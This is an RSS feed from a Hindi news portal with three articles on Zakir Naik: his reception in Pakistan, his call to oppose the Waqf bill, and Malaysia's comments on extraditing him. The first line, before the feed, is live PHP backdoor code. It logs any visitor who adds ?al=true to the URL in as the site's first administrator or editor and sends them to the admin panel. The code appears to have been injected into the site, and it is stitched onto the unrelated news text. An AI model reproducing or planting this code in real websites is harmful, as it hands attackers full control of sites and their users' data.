// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Zakir Naik – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 04 Oct 2024 19:38:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 जाकिर नाइक के स्वागत का विरोध अब पाकिस्तान में भी होने लगा, किया था भव्य स्वागत, जमकर हो रही फजीहत https://pratyushaashakinayikiran.com/?p=79801 Fri, 04 Oct 2024 19:38:00 +0000 https://pratyushaashakinayikiran.com/?p=79801 इस्लामाबाद
विवादित इस्लामी उपदेशक जाकिर नाइक के स्वागत का विरोध अब पाकिस्तान में भी होने लगा है। हेट स्पीच और मनी लॉन्ड्रिंग मामले में आरोपी जाकिर नाइक का पाकिस्तान में रेड कॉर्पेट पर स्वागत किया गया है। वहीं अब लोगों का कहना है कि पाकिस्तानी सरकार राजनीतिक और आर्थिक हालातों से लोगों का ध्यान हटाने के लिए इस तरह के लोगों का कार्यक्रम करवा रही है और उनका भव्य स्वागत कर रही है।

58 साल के जाकिर नाइक तीन दशक में पहली बार पाकिस्तान पहुंचा था। उसे पाकिस्तानी सरकार ने आमंत्रण दिया था। वह शहबाज शरीफ से भी मिला। इस्लामाबाद के अलावा भी कई शहरों में उसके कार्यक्रम आयोजित किए गए हैं। जाकिर नाइक ने सफाई देते हुए कहा कि उसने भारत में किसी कानून का उल्लंघन नहीं किया है। लेकिन इस्लाम के दुश्मनों ने उसको निशाने पर लिया। शहबाज शरीफ ने उसे ऐसे समय में बुलाया है जब कि उनकी सरकार पर विपक्ष को स्थान ना देने और लोकतंत्र को तार-तार करने के आरोप लग रहे हैं।

शहबाज शरीफ सरकार के आलोचक नजरुल इस्लाम ने कहा कि जब सरकार को पता है कि अक्टूबर का महीना उसके लिए काफी कठिन होने वाला है तब उसने जाकिर नाइक को बुला लिया है।बता दें कि भारत में वह धार्मिक वैमनस्यता फैलाना का आरोपी है। अपने भाषणों में वह इस्लाम से इतर अन्य धर्मों के बारे में जहर उगलता था। पाकिस्तान में भी कई संगठनों ने कहा है कि जाकिर नाइक वहां विष घोलने का काम कर रहा है। पहले से ही कट्टरवाद से ग्रसित पाकिस्तान में वह और भी नफरत फैलाना चाह रहा है। न्यूक्लियर फिजिसिस्ट पवरवेज हूदभॉय ने कहा, कई देशों में जाकिर नाइक को बैन किया गया है। वहीं पाकिस्तान में इस तरह उसका स्वागत होना शर्म की बात है।

पाकिस्तान स्वीट होम फाउंडेशन के एक कार्यक्रम में जाकिर नाइक लड़कियों को बेटियां कहने पर इतना भड़क गया कि वह मंच छोड़कर ही चला गया। यहां अनाथ लड़कियों को पुरस्कार देने के लिए उसे बुलाया गया था। पाकिस्तानी मीडिया के मुताबिक एंकर ने लड़कियो को बेटियां कहा तो जाकिर नाइक ने आपत्ति जताते हुए कहा कि आप उन्हें छू नहीं सकते तो बेटियां भी नहीं कह सकते। जाकिर नाइक का कहना है कि लड़कियां गैर महरम होती हैं। इसका मतलब वह अनजान हैं। उनसे शादी की जा सकती है। भारत में जांच एजेंसियों के शिकंजा कसने के बाद वह मलेशिया भाग गया था। 2016 से वह मलेशिया में ही रह रहा था।

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जाकिर नाइक ने कहा भाजपा सरकार अभी ताकतवर नहीं है, आप मजबूती से विरोध करेंगे तो उन्हें कदम वापस खींचने होंगे https://pratyushaashakinayikiran.com/?p=68241 Mon, 09 Sep 2024 20:10:00 +0000 https://pratyushaashakinayikiran.com/?p=68241 नई दिल्ली

कट्टरवादी इस्लामिक प्रचारक जाकिर नाइक ने प्रस्तावित वक्फ विधेयक का विरोध का किया है। यही नहीं भगोड़े इस्लामिक प्रचारक ने भारत के मुसलमानों को उकसाने की भी कोशिश की है और कहा कि आप लोगों को इसके लिए एकजुट होकर विरोध करना होगा। जाकिर नाइक ने कहा कि मौजूदा भाजपा और उसके गठबंधन की सरकार बीते 10 सालों की तरह ताकतवर नहीं है। इसलिए आप मजबूती से विरोध करेंगे तो उन्हें कदम वापस खींचने होंगे। जाकिर नाइक ने वीडियो जारी करके कहा कि भारत में 21 करोड़ से ज्यादा मुसलमान हैं। यदि उसके ढाई पर्सेंट यानी 50 लाख लोग भी वक्फ बिल का विरोध करें तो फिर इसे रोका जा सकता है।

जाकिर नाइक ने एक लिंक भी जारी किया और मुसलमानों से अपील करते हुए कहा कि आप लोग इसके खिलाफ मतदान करें। जाकिर नाइक ने वक्फ संपत्ति को सिर्फ मुसलमानों की जमीन बताते हुए कहा कि भारत में जमीन के मामले में वक्फ बोर्ड तीसरे नंबर पर है। यह कोई सार्वजनिक संपत्ति नहीं है। यह मैं भारत के गैर-मुसलमानों को बताना चाहता हूं। इसके तहत वे जमीनें आती हैं, जिन्हें मुसलमानों ने ही इतिहास में दान किया है। इसलिए कोई गैर-मुस्लिम इसमें दखल नहीं दे सकता और भारत का संविधान इसकी सुरक्षा देता है। यह मुस्लिम विरोधी सरकार वक्फ बिल के जरिए कुचलना चाहती है।

जाकिर नाइक ने कहा कि इस बार भाजपा उतनी मजबूत नहीं है। वह बीते 10 सालों की तरह मजबूत नहीं है। वहीं विपक्ष अब पहले के मुकाबले अच्छी स्थिति में है। जाकिर नाइक ने कहा कि यदि यह बिल पास हुआ तो फिर हजारों मस्जिदों, मदरसों और कब्रिस्तानों को मुसलमानों से छीना जा सकता है। यदि हम इसे नहीं रोक पाए तो फिर हमारी अगली पुश्तें माफ नहीं करेंगी। वे कहेंगी कि हमारी पुरखों की जमीनों को सौंप दिया गया। यह पूरी उम्मा के लिए फायदेमंद है। जाकिर नाइक अकसर विवादित बयान देता रहा है। धर्मांतरण कराने, हिंदू देवी देवताओं पर आपत्तिजनक टिप्पणियों को लेकर उस पर सवाल उठते रहे हैं।

भगोड़ा इस्लामिक प्रचारक फिलहाल मलयेशिया में बसा हुआ है और वहीं से अब भी वीडियो जारी करता रहता है। उसके खिलाफ भारत में मनी लॉन्ड्रिंग, नफरत फैलाने और गैर-कानूनी गतिविधियों में हिस्सा लेने के आरोपों में केस दर्ज हैं। वह 2016 में ही भारत छोड़कर भाग निकला था। जाकिर नाइक के भाषण अकसर हिंदू देवी-देवताओं पर आपत्तिजनक टिप्पणियों से भरे रहते हैं। इसी के चलते लोगों ने बड़े पैमाने पर उसका विरोध किया था और सरकार हरकत में आई थी।

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जाकिर नाइक को भारत को सौंपेगा मलेशिया? PM अनवर इब्राहिम बोले- अगर सबूत दें तो… https://pratyushaashakinayikiran.com/?p=62721 Wed, 21 Aug 2024 22:09:00 +0000 https://pratyushaashakinayikiran.com/?p=62721 नई दिल्ली

मलेशिया के प्रधानमंत्री अनवर इब्राहिम भारत दौरे पर हैं. उन्होंने मंगलवार को प्रधानमंत्री नरेंद्र मोदी से मुलाकात की. पीएम मोदी से मुलाकात के बाद जब एक कार्यक्रम में मलेशियाई प्रधानमंत्री से विवादित इस्लामिक उपदेशक जाकिर नाइक के प्रत्यर्पण बारे में पूछा गया तो उन्होंने इस पर जवाब दिया.

इंडियन काउंसिल ऑफ वर्ल्ड अफेयर्स में आयोजित एक कार्यक्रम के दौरान जब मलेशिया के प्रधानमंत्री अनवर इब्राहिम से मलेशिया में रह रहे जाकिर नाइक के प्रत्यर्पण के बारे में पूछा गया तो उन्होंने कहा कि अगर नाइक के खिलाफ पर्याप्त साक्ष्य मुहैया कराए जाएंगे तो इस पर कार्रवाई की जाएगी. हालांकि, उन्होंने कहा कि इस मुद्दे से दोनों देशों के संबंध प्रभावित नहीं होने चाहिए.

पीएम इब्राहिम ने बताया कि इस मामले को भारत की ओर से नहीं उठाया गया है. प्रधानमंत्री मोदी ने इस मामले को पहले उठाया था. लेकिन मैं यहां एक शख्स की बात नहीं कर रहा हूं. मैं चरमपंथ की बात कर रहा हूं. हमारी सरकार जाकिर नाइक के मामले में सौंपे जाने वाले सभी साक्ष्यों का स्वागत करेगी. हम आतंकवाद से निपटने को लेकर भारत सरकार के साथ मिलकर काम कर रहे हैं.

बता दें कि जाकिर नाइक 2017 में भारत से भागकर मलेशिया चला गया था. उस समय मलेशिया की प्रधानमंत्री महातिर मोहम्मद सरकार ने उसे सरकारी संरक्षण दिया था.

जाकिर नाइक पर क्या-क्या आरोप?

जाकिर नाइक पर भारत में भड़काऊ भाषण देने, मनी लॉन्ड्रिंग करने और आतंकवाद को बढ़ावा देने का आरोप है. मई 2019 में ईडी ने जाकिर नाइक के खिलाफ टेरर फंडिंग मामले में चार्जशीट दायर की थी. इस चार्जशीट में बताया था कि एजेंसी ने अब तक 193 करोड़ रुपये की संपत्ति की पहचान कर ली है, जिसमें से 50 करोड़ से ज्यादा की संपत्ति जब्त की जा चुकी है.

ईडी ने दावा किया था 2003-04 और 2016-17 के बीच जाकिर नाइक को अज्ञात और संदिग्ध सोर्सेस से 64 करोड़ रुपये की फंडिंग मिली थी. इनमें से ज्यादातर फंड का इस्तेमाल 'पीस कॉन्फ्रेंस' आयोजित करने के लिए हुआ था. एजेंसी ने ये भी बताया था 2012 से 2016 के दौरान जाकिर नाइक को 49.20 करोड़ रुपये भी मिले थे. ये रकम नाइक के यूएई के बैंक अकाउंट में आई थी.

इससे पहले अक्टूबर 2017 में एनआईए ने भी चार्जशीट दायर की थी. इस चार्जशीट में एनआईए ने जाकिर नाइक को भड़काऊ भाषण देने और युवाओं को उकसाने का आरोप लगाया था. चार्जशीट में कहा गया था कि जाकिर नाइक के वीडियो देखकर युवा प्रभावित हो रहे हैं और उनमें से कुछ आतंकी संगठनों में भी जुड़ रहे हैं. कुल मिलाकर जाकिर नाइक पर कट्टरपंथ को बढ़ावा देने का आरोप है.

पीस टीवी और इस्लामिक रिसर्च फाउंडेशन

जाकिर नाइक ने 1990 में इस्लामिक रिसर्च फाउंडेशन शुरू किया था. नाइक इसे बताता तो एनजीओ था, लेकिन इसके जरिए फंडिंग हासिल करता था. गृह मंत्रालय ने पहली बार 2016 में इस फाउंडेशन पर प्रतिबंध लगाया था. बाद में इस साल मार्च में इस प्रतिबंध को पांच साल के लिए और बढ़ा दिया है.

जाकिर नाइक ने एक पीस टीवी भी शुरू किया था, जिस पर वो भाषण दिया करता था. इस चैनल का प्रसारण दुबई से होता था. इस पर नाइक ऐसे भाषण देता था जिससे युवा प्रभावित होते थे और कट्टरपंथ की ओर मुड़ जाते थे.

कैसे चर्चा में आया था जाकिर नाइक?

जाकिर नाइक का जन्म 1965 में मुंबई के डोंगरी में हुआ था. उसके पिता और दोनों भाई डॉक्टर थे. नाइक ने भी मेडिकल की पढ़ाई की और डॉक्टर बन गया. 1990 में उसने डॉक्टरी छोड़कर इस्लामिक रिसर्च फाउंडेशन शुरू कर दिया.

साल 2000 आते-आते जाकिर नाइक चर्चा में आने लगा. उसके वीडियो पर बहसें होने लगीं. जाकिर नाइक इस्लाम को बाकी सभी धर्मों से श्रेष्ठ और महान बताता था. उसके समर्थक उसे इस्लाम का जानकार भी कहते हैं. उसके बाद उसने पीस टीवी इंग्लिश शुरू किया. फिर इसे उर्दू और बांगला भाषा में भी लॉन्च किया. जाकिर नाइक के इस चैनल को भारत, बांग्लादेश समेत कई देशों ने बैन कर रखा है, क्योंकि इसके जरिए वो युवाओं को भड़काता है.

जाकिर नाइक ने एक बार कथित तौर पर कहा था, 'अगर ओसामा बिन लादेन इस्लाम के दुश्मनों से लड़ रहा है, तो मैं उसके साथ हूं. अगर वो सबसे बड़ी आतंकी अमेरिका से लड़ रहा है तो भी मैं उसके साथ खड़ा हूं. हर मुसलमान को आतंकवादी होना चाहिए.' हालांकि, जाकिर नाइक दावा करता था कि उसके बयान को गलत तरह से पेश किया गया था.

जाकिर नाइक जुलाई 2016 में उस समय चर्चा में आया जब बांग्लादेश की राजधानी ढाका में बम ब्लास्ट हुआ. हमलावरों में से एक ने बताया था कि वो जाकिर नाइक के वीडियो से प्रभावित था. ढाका हमले के कुछ महीनों बाद ही जाकिर नाइक भारत छोड़कर भाग गया था. इसके बाद अप्रैल 2019 में श्रीलंका में ईस्टर संडे पर हुए बम धमाकों के तार भी जाकिर नाइक से जुड़े थे. इन धमाकों में 260 से ज्यादा लोगों की मौत हो गई थी.

 

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